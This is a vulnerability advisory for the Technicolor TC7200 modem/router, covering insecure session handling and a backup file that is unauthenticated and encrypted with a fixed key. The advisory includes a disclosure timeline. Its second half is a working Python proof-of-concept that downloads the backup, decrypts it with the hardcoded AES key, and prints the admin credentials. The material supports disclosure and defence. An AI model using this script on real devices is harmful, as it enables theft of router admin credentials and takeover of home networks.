Technicolor TC7200 Modem / Router Session Management / Fixed Password

`Technicolor TC7200 modem/router multiple vulnerabilities  
--------------------------------------------------------  
  
Platforms / Firmware confirmed affected:  
- Technicolor TC7200, STD6.02.11  
- Product page:  
http://www.technicolor.com/en/solutions-services/connected-home/broadband-devices/cable-modems-gateways/tc7200-tc7300  
  
Vulnerabilities  
---------------  
Insecure session management  
The web interface does not use cookies at all and does not check the IP  
address of the client. If admin login is successful, every user from the  
LAN can access the management interface.  
  
Backup file encryption uses fix password  
Technicolor fixed the CVE-2014-1677 by encrypting the backup file with  
AES. However, the encrypted backup file remains accessible without  
authentication and if the password is not set in the web interface a  
default password is used. So, if an attacker accesses the backup file  
without authentication, the password cannot be set, and the backup file  
can be decrypted.  
  
Timeline  
--------  
- 2015.07.30: We sent some new issues affecting the Ubee router and  
other findings in Technicolor TC7200 and Cisco EPC3925 devices to UPC  
- Between 2015.07.31 and 08.12 there were several e-mail and phone  
communications between technical persons from Liberty Global to clarify  
the findings  
- 2015.08.19: UPC sent out advisory emails to its end users to change  
the default WiFi passphrase  
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end  
users about the importance of the change of the default passphrases.  
- 2016.02.16: Face to face meeting with Liberty Global security  
personnel in Amsterdam headquarters  
- 2016.02.18: A proposal was sent to Liberty Global suggesting a  
wardriving experiment in Budapest, Hungary to measure the rate of end  
users who are still using the default passphrases.  
  
POC  
---  
POC script is available to demonstrate the following problems [2]:  
- Unauthenticated backup file access  
- Backup file decryption  
  
Recommendations  
---------------  
Since only the ISP can update the firmware, we can recommend for users  
to change the WiFi passphrase.  
  
Credits  
-------  
This vulnerability was discovered and researched by Gergely Eberhardt  
from SEARCH-LAB Ltd. (www.search-lab.hu)  
  
References  
----------  
[1] http://www.search-lab.hu/advisories/secadv-20150720  
[2] https://github.com/ebux/Cable-modems/tree/master/Technicolor  
  
  
technicolor_tc7200_poc.py:  
  
#  
# POC code for Technicolor TC7200  
#  
# Demonstrates the following vulnerabilities  
# - Unauthenticated backup file access  
# - Backup file decryption  
#  
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)  
#  
# Advisory: http://www.search-lab.hu/advisories/secadv-20150720  
  
import sys  
import requests  
import struct  
import binascii  
from Crypto.Cipher import AES  
  
class technicolor:  
def __init__(self, addr, port):  
self.addr = addr  
self.port = port  
self.s = requests.Session()  
  
def getUri(self, uri):  
return 'http://%s:%d/%s'%(self.addr,self.port,uri)  
  
def downloadBackupFile(self):  
r = self.s.get(self.getUri('goform/system/GatewaySettings.bin'))  
resp = ''  
for chunk in r:  
resp += chunk  
return resp  
  
def parseBackup(self, backup):  
p = backup.find('MLog')  
if (p > 0):  
p += 6  
nh = struct.unpack('!H',backup[p:p+2])[0]  
name = backup[p+2:p+2+nh]  
p += 2+nh  
ph = struct.unpack('!H',backup[p:p+2])[0]  
pwd = backup[p+2:p+2+nh]  
return (name,pwd)  
return ('','')  
  
def decryptBackup(self, backup):  
key = binascii.unhexlify('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F')  
l = (len(backup)/16)*16  
cipher = AES.new(key, AES.MODE_ECB, '\x00'*(16))  
plain = cipher.decrypt(backup[0:l])  
return plain  
  
  
#------------------------------------  
  
if (len(sys.argv) < 2):  
print 'technicolor_tc7200_poc.py addr [port]'  
addr = sys.argv[1]  
port = 80  
if (len(sys.argv) == 3):  
port = int(sys.argv[2])  
  
# create technicolor object  
t = technicolor(addr, port)  
  
backup = t.downloadBackupFile()  
if (len(backup) > 0):  
open('test.enc', 'wb').write(backup)  
plain = t.decryptBackup(backup)  
open('test.dec', 'wb').write(plain)  
  
(name, pwd) = t.parseBackup(plain)  
if (name != ''):  
print 'admin name: %s, pwd: %s'%(name,pwd)  
  
  
`